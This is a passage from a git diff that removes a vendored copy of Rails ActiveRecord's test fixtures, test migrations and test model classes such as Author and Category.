diff --git a/vendor/rails/activerecord/test/fixtures/reserved_words/distincts_selects.yml b/vendor/rails/activerecord/test/fixtures/reserved_words/distincts_selects.yml
deleted file mode 100644
index 90e8c95f..00000000
--- a/vendor/rails/activerecord/test/fixtures/reserved_words/distincts_selects.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-distincts_selects1:
-  distinct_id: 1
-  select_id: 1
-
-distincts_selects2:
-  distinct_id: 1
-  select_id: 2
-
-distincts_selects3:
-  distinct_id: 2
-  select_id: 3
diff --git a/vendor/rails/activerecord/test/fixtures/reserved_words/group.yml b/vendor/rails/activerecord/test/fixtures/reserved_words/group.yml
deleted file mode 100644
index 39abea7a..00000000
--- a/vendor/rails/activerecord/test/fixtures/reserved_words/group.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-group1:
-  id: 1
-  select_id: 1
-  order: x
-
-group2:
-  id: 2
-  select_id: 2
-  order: y
-
-group3:
-  id: 3
-  select_id: 2
-  order: z
diff --git a/vendor/rails/activerecord/test/fixtures/reserved_words/select.yml b/vendor/rails/activerecord/test/fixtures/reserved_words/select.yml
deleted file mode 100644
index a4c35a2b..00000000
--- a/vendor/rails/activerecord/test/fixtures/reserved_words/select.yml
+++ /dev/null
@@ -1,8 +0,0 @@
-select1:
-  id: 1
-
-select2:
-  id: 2
-
-select3:
-  id: 3
diff --git a/vendor/rails/activerecord/test/fixtures/reserved_words/values.yml b/vendor/rails/activerecord/test/fixtures/reserved_words/values.yml
deleted file mode 100644
index 7d109609..00000000
--- a/vendor/rails/activerecord/test/fixtures/reserved_words/values.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-values1:
-  id: 1
-  group_id: 2
-
-values2:
-  id: 2
-  group_id: 1
diff --git a/vendor/rails/activerecord/test/fixtures/ships.yml b/vendor/rails/activerecord/test/fixtures/ships.yml
deleted file mode 100644
index 137055aa..00000000
--- a/vendor/rails/activerecord/test/fixtures/ships.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-black_pearl:
-  name: "Black Pearl"
-interceptor:
-  id: 2
-  name: "Interceptor"
diff --git a/vendor/rails/activerecord/test/fixtures/sponsors.yml b/vendor/rails/activerecord/test/fixtures/sponsors.yml
deleted file mode 100644
index 42df8957..00000000
--- a/vendor/rails/activerecord/test/fixtures/sponsors.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-moustache_club_sponsor_for_groucho:
-  sponsor_club: moustache_club
-  sponsorable: groucho (Member)
-boring_club_sponsor_for_groucho:
-  sponsor_club: boring_club
-  sponsorable: some_other_guy (Member)
-crazy_club_sponsor_for_groucho:
-  sponsor_club: crazy_club
-  sponsorable: some_other_guy (Member)
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/subscribers.yml b/vendor/rails/activerecord/test/fixtures/subscribers.yml
deleted file mode 100644
index 9ffb4a15..00000000
--- a/vendor/rails/activerecord/test/fixtures/subscribers.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-first:
-  nick: alterself
-  name: Luke Holden
-
-second:
-  nick: webster132
-  name: David Heinemeier Hansson
diff --git a/vendor/rails/activerecord/test/fixtures/subscriptions.yml b/vendor/rails/activerecord/test/fixtures/subscriptions.yml
deleted file mode 100644
index 371bfd34..00000000
--- a/vendor/rails/activerecord/test/fixtures/subscriptions.yml
+++ /dev/null
@@ -1,12 +0,0 @@
-webster_awdr:
-  id: 1
-  subscriber_id: webster132
-  book_id: 1
-webster_rfr:
-  id: 2
-  subscriber_id: webster132
-  book_id: 2
-alterself_awdr:
-  id: 3
-  subscriber_id: alterself
-  book_id: 3
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/taggings.yml b/vendor/rails/activerecord/test/fixtures/taggings.yml
deleted file mode 100644
index 1e3d5965..00000000
--- a/vendor/rails/activerecord/test/fixtures/taggings.yml
+++ /dev/null
@@ -1,28 +0,0 @@
-welcome_general:
-  id: 1
-  tag_id: 1
-  super_tag_id: 2
-  taggable_id: 1
-  taggable_type: Post
-
-thinking_general:
-  id: 2
-  tag_id: 1
-  taggable_id: 2
-  taggable_type: Post
-
-fake: 
-  id: 3
-  tag_id: 1
-  taggable_id: 1
-  taggable_type: FakeModel
-
-godfather:
-  id: 4
-  tag_id: 1
-  taggable_id: 1
-  taggable_type: Item
-
-orphaned:
-  id: 5
-  tag_id: 1
diff --git a/vendor/rails/activerecord/test/fixtures/tags.yml b/vendor/rails/activerecord/test/fixtures/tags.yml
deleted file mode 100644
index 471b96f3..00000000
--- a/vendor/rails/activerecord/test/fixtures/tags.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-general:
-  id: 1
-  name: General
-  
-misc:
-  id: 2
-  name: Misc
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/tasks.yml b/vendor/rails/activerecord/test/fixtures/tasks.yml
deleted file mode 100644
index 1e6a061a..00000000
--- a/vendor/rails/activerecord/test/fixtures/tasks.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-# Read about fixtures at http://ar.rubyonrails.org/classes/Fixtures.html
-first_task:
-  id: 1
-  starting: 2005-03-30t06:30:00.00+01:00
-  ending: 2005-03-30t08:30:00.00+01:00
-another_task:
-  id: 2
diff --git a/vendor/rails/activerecord/test/fixtures/tees.yml b/vendor/rails/activerecord/test/fixtures/tees.yml
deleted file mode 100644
index d6df60ff..00000000
--- a/vendor/rails/activerecord/test/fixtures/tees.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-awesome_tee:
-  id: 1
-sucky_tee:
-  id: 2
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/ties.yml b/vendor/rails/activerecord/test/fixtures/ties.yml
deleted file mode 100644
index f930809c..00000000
--- a/vendor/rails/activerecord/test/fixtures/ties.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-awesome_tie:
-  id: 1
-sucky_tie:
-  id: 2
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/topics.yml b/vendor/rails/activerecord/test/fixtures/topics.yml
deleted file mode 100644
index 17691524..00000000
--- a/vendor/rails/activerecord/test/fixtures/topics.yml
+++ /dev/null
@@ -1,42 +0,0 @@
-first:
-  id: 1
-  title: The First Topic
-  author_name: David
-  author_email_address: david@loudthinking.com
-  written_on: 2003-07-16t15:28:11.2233+01:00
-  last_read: 2004-04-15
-  bonus_time: 2005-01-30t15:28:00.00+01:00
-  content: Have a nice day
-  approved: false
-  replies_count: 1
-
-second:
-  id: 2
-  title: The Second Topic of the day
-  author_name: Mary
-  written_on: 2004-07-15t15:28:00.0099+01:00
-  content: Have a nice day
-  approved: true
-  replies_count: 0
-  parent_id: 1
-  type: Reply
-
-third:
-  id: 3
-  title: The Third Topic of the day
-  author_name: Nick
-  written_on: 2005-07-15t15:28:00.0099+01:00
-  content: I'm a troll
-  approved: true
-  replies_count: 1
-
-fourth:
-  id: 4
-  title: The Fourth Topic of the day
-  author_name: Carl
-  written_on: 2006-07-15t15:28:00.0099+01:00
-  content: Why not?
-  approved: true
-  type: Reply
-  parent_id: 3
-
diff --git a/vendor/rails/activerecord/test/fixtures/toys.yml b/vendor/rails/activerecord/test/fixtures/toys.yml
deleted file mode 100644
index 037e335e..00000000
--- a/vendor/rails/activerecord/test/fixtures/toys.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-bone:
-  toy_id: 1
-  name: Bone
-  pet_id: 1
diff --git a/vendor/rails/activerecord/test/fixtures/treasures.yml b/vendor/rails/activerecord/test/fixtures/treasures.yml
deleted file mode 100644
index 9db15798..00000000
--- a/vendor/rails/activerecord/test/fixtures/treasures.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-diamond:
-  name: $LABEL
-
-sapphire:
-  name: $LABEL
-  looter: redbeard (Pirate)
-
-ruby:
-  name: $LABEL
-  looter: louis (Parrot)
diff --git a/vendor/rails/activerecord/test/fixtures/vertices.yml b/vendor/rails/activerecord/test/fixtures/vertices.yml
deleted file mode 100644
index 8af0593f..00000000
--- a/vendor/rails/activerecord/test/fixtures/vertices.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-<% (1..5).each do |id| %>
-vertex_<%= id %>:
-  id: <%= id %>
-<% end %>
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/warehouse-things.yml b/vendor/rails/activerecord/test/fixtures/warehouse-things.yml
deleted file mode 100644
index 9e07ba7d..00000000
--- a/vendor/rails/activerecord/test/fixtures/warehouse-things.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-one:
-  id: 1
-  value: 1000
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/zines.yml b/vendor/rails/activerecord/test/fixtures/zines.yml
deleted file mode 100644
index 07dce4db..00000000
--- a/vendor/rails/activerecord/test/fixtures/zines.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-staying_in:
-  title: Staying in '08
-
-going_out:
-  title: Outdoor Pursuits 2k+8
diff --git a/vendor/rails/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb b/vendor/rails/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb
deleted file mode 100644
index ffb224da..00000000
--- a/vendor/rails/activerecord/test/migrations/broken/100_migration_that_raises_exception.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class MigrationThatRaisesException < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-    raise 'Something broke'
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
diff --git a/vendor/rails/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb b/vendor/rails/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
deleted file mode 100644
index 0aed7cbd..00000000
--- a/vendor/rails/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-class GiveMeBigNumbers < ActiveRecord::Migration
-  def self.up
-    create_table :big_numbers do |table|
-      table.column :bank_balance, :decimal, :precision => 10, :scale => 2
-      table.column :big_bank_balance, :decimal, :precision => 15, :scale => 2
-      table.column :world_population, :decimal, :precision => 10
-      table.column :my_house_population, :decimal, :precision => 2
-      table.column :value_of_e, :decimal
-    end
-  end
-
-  def self.down
-    drop_table :big_numbers
-  end
-end
diff --git a/vendor/rails/activerecord/test/migrations/duplicate/1_people_have_last_names.rb b/vendor/rails/activerecord/test/migrations/duplicate/1_people_have_last_names.rb
deleted file mode 100644
index 81af5fef..00000000
--- a/vendor/rails/activerecord/test/migrations/duplicate/1_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class PeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/duplicate/2_we_need_reminders.rb b/vendor/rails/activerecord/test/migrations/duplicate/2_we_need_reminders.rb
deleted file mode 100644
index d5e71ce8..00000000
--- a/vendor/rails/activerecord/test/migrations/duplicate/2_we_need_reminders.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class WeNeedReminders < ActiveRecord::Migration
-  def self.up
-    create_table("reminders") do |t|
-      t.column :content, :text
-      t.column :remind_at, :datetime
-    end
-  end
-
-  def self.down
-    drop_table "reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/duplicate/3_foo.rb b/vendor/rails/activerecord/test/migrations/duplicate/3_foo.rb
deleted file mode 100644
index 916fe580..00000000
--- a/vendor/rails/activerecord/test/migrations/duplicate/3_foo.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Foo < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/duplicate/3_innocent_jointable.rb b/vendor/rails/activerecord/test/migrations/duplicate/3_innocent_jointable.rb
deleted file mode 100644
index 21c9ca53..00000000
--- a/vendor/rails/activerecord/test/migrations/duplicate/3_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/duplicate_names/20080507052938_chunky.rb b/vendor/rails/activerecord/test/migrations/duplicate_names/20080507052938_chunky.rb
deleted file mode 100644
index 5fe5089e..00000000
--- a/vendor/rails/activerecord/test/migrations/duplicate_names/20080507052938_chunky.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Chunky < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
diff --git a/vendor/rails/activerecord/test/migrations/duplicate_names/20080507053028_chunky.rb b/vendor/rails/activerecord/test/migrations/duplicate_names/20080507053028_chunky.rb
deleted file mode 100644
index 5fe5089e..00000000
--- a/vendor/rails/activerecord/test/migrations/duplicate_names/20080507053028_chunky.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Chunky < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
diff --git a/vendor/rails/activerecord/test/migrations/interleaved/pass_1/3_innocent_jointable.rb b/vendor/rails/activerecord/test/migrations/interleaved/pass_1/3_innocent_jointable.rb
deleted file mode 100644
index 21c9ca53..00000000
--- a/vendor/rails/activerecord/test/migrations/interleaved/pass_1/3_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/interleaved/pass_2/1_people_have_last_names.rb b/vendor/rails/activerecord/test/migrations/interleaved/pass_2/1_people_have_last_names.rb
deleted file mode 100644
index 81af5fef..00000000
--- a/vendor/rails/activerecord/test/migrations/interleaved/pass_2/1_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class PeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/interleaved/pass_2/3_innocent_jointable.rb b/vendor/rails/activerecord/test/migrations/interleaved/pass_2/3_innocent_jointable.rb
deleted file mode 100644
index 21c9ca53..00000000
--- a/vendor/rails/activerecord/test/migrations/interleaved/pass_2/3_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/interleaved/pass_3/1_people_have_last_names.rb b/vendor/rails/activerecord/test/migrations/interleaved/pass_3/1_people_have_last_names.rb
deleted file mode 100644
index 81af5fef..00000000
--- a/vendor/rails/activerecord/test/migrations/interleaved/pass_3/1_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class PeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/interleaved/pass_3/2_i_raise_on_down.rb b/vendor/rails/activerecord/test/migrations/interleaved/pass_3/2_i_raise_on_down.rb
deleted file mode 100644
index 9b1ce9f0..00000000
--- a/vendor/rails/activerecord/test/migrations/interleaved/pass_3/2_i_raise_on_down.rb
+++ /dev/null
@@ -1,8 +0,0 @@
-class IRaiseOnDown < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-    raise
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/interleaved/pass_3/3_innocent_jointable.rb b/vendor/rails/activerecord/test/migrations/interleaved/pass_3/3_innocent_jointable.rb
deleted file mode 100644
index 21c9ca53..00000000
--- a/vendor/rails/activerecord/test/migrations/interleaved/pass_3/3_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/missing/1000_people_have_middle_names.rb b/vendor/rails/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
deleted file mode 100644
index 9fd495b9..00000000
--- a/vendor/rails/activerecord/test/migrations/missing/1000_people_have_middle_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class PeopleHaveMiddleNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "middle_name", :string
-  end
-
-  def self.down
-    remove_column "people", "middle_name"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/missing/1_people_have_last_names.rb b/vendor/rails/activerecord/test/migrations/missing/1_people_have_last_names.rb
deleted file mode 100644
index 81af5fef..00000000
--- a/vendor/rails/activerecord/test/migrations/missing/1_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class PeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/missing/3_we_need_reminders.rb b/vendor/rails/activerecord/test/migrations/missing/3_we_need_reminders.rb
deleted file mode 100644
index d5e71ce8..00000000
--- a/vendor/rails/activerecord/test/migrations/missing/3_we_need_reminders.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class WeNeedReminders < ActiveRecord::Migration
-  def self.up
-    create_table("reminders") do |t|
-      t.column :content, :text
-      t.column :remind_at, :datetime
-    end
-  end
-
-  def self.down
-    drop_table "reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/missing/4_innocent_jointable.rb b/vendor/rails/activerecord/test/migrations/missing/4_innocent_jointable.rb
deleted file mode 100644
index 21c9ca53..00000000
--- a/vendor/rails/activerecord/test/migrations/missing/4_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/valid/1_people_have_last_names.rb b/vendor/rails/activerecord/test/migrations/valid/1_people_have_last_names.rb
deleted file mode 100644
index 81af5fef..00000000
--- a/vendor/rails/activerecord/test/migrations/valid/1_people_have_last_names.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class PeopleHaveLastNames < ActiveRecord::Migration
-  def self.up
-    add_column "people", "last_name", :string
-  end
-
-  def self.down
-    remove_column "people", "last_name"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/valid/2_we_need_reminders.rb b/vendor/rails/activerecord/test/migrations/valid/2_we_need_reminders.rb
deleted file mode 100644
index d5e71ce8..00000000
--- a/vendor/rails/activerecord/test/migrations/valid/2_we_need_reminders.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class WeNeedReminders < ActiveRecord::Migration
-  def self.up
-    create_table("reminders") do |t|
-      t.column :content, :text
-      t.column :remind_at, :datetime
-    end
-  end
-
-  def self.down
-    drop_table "reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/migrations/valid/3_innocent_jointable.rb b/vendor/rails/activerecord/test/migrations/valid/3_innocent_jointable.rb
deleted file mode 100644
index 21c9ca53..00000000
--- a/vendor/rails/activerecord/test/migrations/valid/3_innocent_jointable.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-class InnocentJointable < ActiveRecord::Migration
-  def self.up
-    create_table("people_reminders", :id => false) do |t|
-      t.column :reminder_id, :integer
-      t.column :person_id, :integer
-    end
-  end
-
-  def self.down
-    drop_table "people_reminders"
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/author.rb b/vendor/rails/activerecord/test/models/author.rb
deleted file mode 100644
index fbbdaea3..00000000
--- a/vendor/rails/activerecord/test/models/author.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-class Author < ActiveRecord::Base
-  has_many :posts
-  has_many :very_special_comments, :through => :posts
-  has_many :posts_with_comments, :include => :comments, :class_name => "Post"
-  has_many :popular_grouped_posts, :include => :comments, :class_name => "Post", :group => "type", :having => "SUM(comments_count) > 1", :select => "type"
-  has_many :posts_with_comments_sorted_by_comment_id, :include => :comments, :class_name => "Post", :order => 'comments.id'
-  has_many :posts_sorted_by_id_limited, :class_name => "Post", :order => 'posts.id', :limit => 1
-  has_many :posts_with_categories, :include => :categories, :class_name => "Post"
-  has_many :posts_with_comments_and_categories, :include => [ :comments, :categories ], :order => "posts.id", :class_name => "Post"
-  has_many :posts_containing_the_letter_a, :class_name => "Post"
-  has_many :posts_with_extension, :class_name => "Post" do #, :extend => ProxyTestExtension
-    def testing_proxy_owner
-      proxy_owner
-    end
-    def testing_proxy_reflection
-      proxy_reflection
-    end
-    def testing_proxy_target
-      proxy_target
-    end
-  end
-  has_one  :post_about_thinking, :class_name => 'Post', :conditions => "posts.title like '%thinking%'"
-  has_one  :post_about_thinking_with_last_comment, :class_name => 'Post', :conditions => "posts.title like '%thinking%'", :include => :last_comment
-  has_many :comments, :through => :posts
-  has_many :comments_containing_the_letter_e, :through => :posts, :source => :comments
-  has_many :comments_with_order_and_conditions, :through => :posts, :source => :comments, :order => 'comments.body', :conditions => "comments.body like 'Thank%'"
-  has_many :comments_with_include, :through => :posts, :source => :comments, :include => :post
-
-  has_many :thinking_posts, :class_name => 'Post', :conditions => { :title => 'So I was thinking' }, :dependent => :delete_all
-  has_many :welcome_posts,  :class_name => 'Post', :conditions => { :title => 'Welcome to the weblog' }
-
-  has_many :comments_desc, :through => :posts, :source => :comments, :order => 'comments.id DESC'
-  has_many :limited_comments, :through => :posts, :source => :comments, :limit => 1
-  has_many :funky_comments, :through => :posts, :source => :comments
-  has_many :ordered_uniq_comments, :through => :posts, :source => :comments, :uniq => true, :order => 'comments.id'
-  has_many :ordered_uniq_comments_desc, :through => :posts, :source => :comments, :uniq => true, :order => 'comments.id DESC'
-  has_many :readonly_comments, :through => :posts, :source => :comments, :readonly => true
-  
-  has_many :special_posts
-  has_many :special_post_comments, :through => :special_posts, :source => :comments
-
-  has_many :sti_posts, :class_name => 'StiPost'
-  has_many :sti_post_comments, :through => :sti_posts, :source => :comments
-
-  has_many :special_nonexistant_posts, :class_name => "SpecialPost", :conditions => "posts.body = 'nonexistant'"
-  has_many :special_nonexistant_post_comments, :through => :special_nonexistant_posts, :source => :comments, :conditions => "comments.post_id = 0"
-  has_many :nonexistant_comments, :through => :posts
-
-  has_many :hello_posts, :class_name => "Post", :conditions => "posts.body = 'hello'"
-  has_many :hello_post_comments, :through => :hello_posts, :source => :comments
-  has_many :posts_with_no_comments, :class_name => 'Post', :conditions => 'comments.id is null', :include => :comments
-
-  has_many :hello_posts_with_hash_conditions, :class_name => "Post",
-:conditions => {:body => 'hello'}
-  has_many :hello_post_comments_with_hash_conditions, :through =>
-:hello_posts_with_hash_conditions, :source => :comments
-
-  has_many :other_posts,          :class_name => "Post"
-  has_many :posts_with_callbacks, :class_name => "Post", :before_add => :log_before_adding,
-           :after_add     => :log_after_adding,
-           :before_remove => :log_before_removing,
-           :after_remove  => :log_after_removing
-  has_many :posts_with_proc_callbacks, :class_name => "Post",
-           :before_add    => Proc.new {|o, r| o.post_log << "before_adding#{r.id || '<new>'}"},
-           :after_add     => Proc.new {|o, r| o.post_log << "after_adding#{r.id || '<new>'}"},
-           :before_remove => Proc.new {|o, r| o.post_log << "before_removing#{r.id}"},
-           :after_remove  => Proc.new {|o, r| o.post_log << "after_removing#{r.id}"}
-  has_many :posts_with_multiple_callbacks, :class_name => "Post",
-           :before_add => [:log_before_adding, Proc.new {|o, r| o.post_log << "before_adding_proc#{r.id || '<new>'}"}],
-           :after_add  => [:log_after_adding,  Proc.new {|o, r| o.post_log << "after_adding_proc#{r.id || '<new>'}"}]
-  has_many :unchangable_posts, :class_name => "Post", :before_add => :raise_exception, :after_add => :log_after_adding
-
-  has_many :categorizations
-  has_many :categories, :through => :categorizations
-
-  has_many :categories_like_general, :through => :categorizations, :source => :category, :class_name => 'Category', :conditions => { :name => 'General' }
-
-  has_many :categorized_posts, :through => :categorizations, :source => :post
-  has_many :unique_categorized_posts, :through => :categorizations, :source => :post, :uniq => true
-
-  has_many :nothings, :through => :kateggorisatons, :class_name => 'Category'
-
-  has_many :author_favorites
-  has_many :favorite_authors, :through => :author_favorites, :order => 'name'
-
-  has_many :tagging,  :through => :posts # through polymorphic has_one
-  has_many :taggings, :through => :posts, :source => :taggings # through polymorphic has_many
-  has_many :tags,     :through => :posts # through has_many :through
-  has_many :post_categories, :through => :posts, :source => :categories
-
-  has_many :event_authors
-  has_many :events, :through => :event_authors
-  
-  has_one :essay, :primary_key => :name, :as => :writer
-
-  belongs_to :author_address, :dependent => :destroy
-  belongs_to :author_address_extra, :dependent => :delete, :class_name => "AuthorAddress"
-
-  attr_accessor :post_log
-
-  def after_initialize
-    @post_log = []
-  end
-
-  def label
-    "#{id}-#{name}"
-  end
-
-  validates_presence_of :name
-
-  private
-    def log_before_adding(object)
-      @post_log << "before_adding#{object.id || '<new>'}"
-    end
-
-    def log_after_adding(object)
-      @post_log << "after_adding#{object.id}"
-    end
-
-    def log_before_removing(object)
-      @post_log << "before_removing#{object.id}"
-    end
-
-    def log_after_removing(object)
-      @post_log << "after_removing#{object.id}"
-    end
-
-    def raise_exception(object)
-      raise Exception.new("You can't add a post")
-    end
-end
-
-class AuthorAddress < ActiveRecord::Base
-  has_one :author
-
-  def self.destroyed_author_address_ids
-    @destroyed_author_address_ids ||= Hash.new { |h,k| h[k] = [] }
-  end
-
-  before_destroy do |author_address|
-    if author_address.author
-      AuthorAddress.destroyed_author_address_ids[author_address.author.id] << author_address.id
-    end
-    true
-  end
-end
-
-class AuthorFavorite < ActiveRecord::Base
-  belongs_to :author
-  belongs_to :favorite_author, :class_name => "Author"
-end
diff --git a/vendor/rails/activerecord/test/models/auto_id.rb b/vendor/rails/activerecord/test/models/auto_id.rb
deleted file mode 100644
index d720e2be..00000000
--- a/vendor/rails/activerecord/test/models/auto_id.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class AutoId < ActiveRecord::Base
-  def self.table_name () "auto_id_tests" end
-  def self.primary_key () "auto_id" end
-end
diff --git a/vendor/rails/activerecord/test/models/binary.rb b/vendor/rails/activerecord/test/models/binary.rb
deleted file mode 100644
index 950c4591..00000000
--- a/vendor/rails/activerecord/test/models/binary.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-class Binary < ActiveRecord::Base
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/bird.rb b/vendor/rails/activerecord/test/models/bird.rb
deleted file mode 100644
index e61d48e6..00000000
--- a/vendor/rails/activerecord/test/models/bird.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-class Bird < ActiveRecord::Base
-  validates_presence_of :name
-
-  attr_accessor :cancel_save_from_callback
-  before_save :cancel_save_callback_method, :if => :cancel_save_from_callback
-  def cancel_save_callback_method
-    false
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/book.rb b/vendor/rails/activerecord/test/models/book.rb
deleted file mode 100644
index cfd07abd..00000000
--- a/vendor/rails/activerecord/test/models/book.rb
+++ /dev/null
@@ -1,4 +0,0 @@
-class Book < ActiveRecord::Base
-  has_many :citations, :foreign_key => 'book1_id'
-  has_many :references, :through => :citations, :source => :reference_of, :uniq => true
-end
diff --git a/vendor/rails/activerecord/test/models/categorization.rb b/vendor/rails/activerecord/test/models/categorization.rb
deleted file mode 100644
index 10594323..00000000
--- a/vendor/rails/activerecord/test/models/categorization.rb
+++ /dev/null
@@ -1,5 +0,0 @@
-class Categorization < ActiveRecord::Base
-  belongs_to :post
-  belongs_to :category
-  belongs_to :author
-end
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/models/category.rb b/vendor/rails/activerecord/test/models/category.rb
deleted file mode 100644
index 5efce6aa..00000000
--- a/vendor/rails/activerecord/test/models/category.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-class Category < ActiveRecord::Base
-  has_and_belongs_to_many :posts
-  has_and_belongs_to_many :special_posts, :class_name => "Post"
-  has_and_belongs_to_many :other_posts, :class_name => "Post"
-  has_and_belongs_to_many :posts_with_authors_sorted_by_author_id, :class_name => "Post", :include => :authors, :order => "authors.id"
-
-  has_and_belongs_to_many(:select_testing_posts,
-                          :class_name => 'Post',
-                          :foreign_key => 'category_id',
-                          :association_foreign_key => 'post_id',
-                          :select => 'posts.*, 1 as correctness_marker')
-
-  has_and_belongs_to_many :post_with_conditions,
-                          :class_name => 'Post',
-                          :conditions => { :title => 'Yet Another Testing Title' }
-
-  has_and_belongs_to_many :popular_grouped_posts, :class_name => "Post", :group => "posts.type", :having => "sum(comments.post_id) > 2", :include => :comments
-  has_and_belongs_to_many :posts_gruoped_by_title, :class_name => "Post", :group => "title", :select => "title"
-
-  def self.what_are_you
-    'a category...'
-  end
-
-  has_many :categorizations
-  has_many :authors, :through => :categorizations, :select => 'authors.*, categorizations.post_id'
-end
-
-class SpecialCategory < Category
-
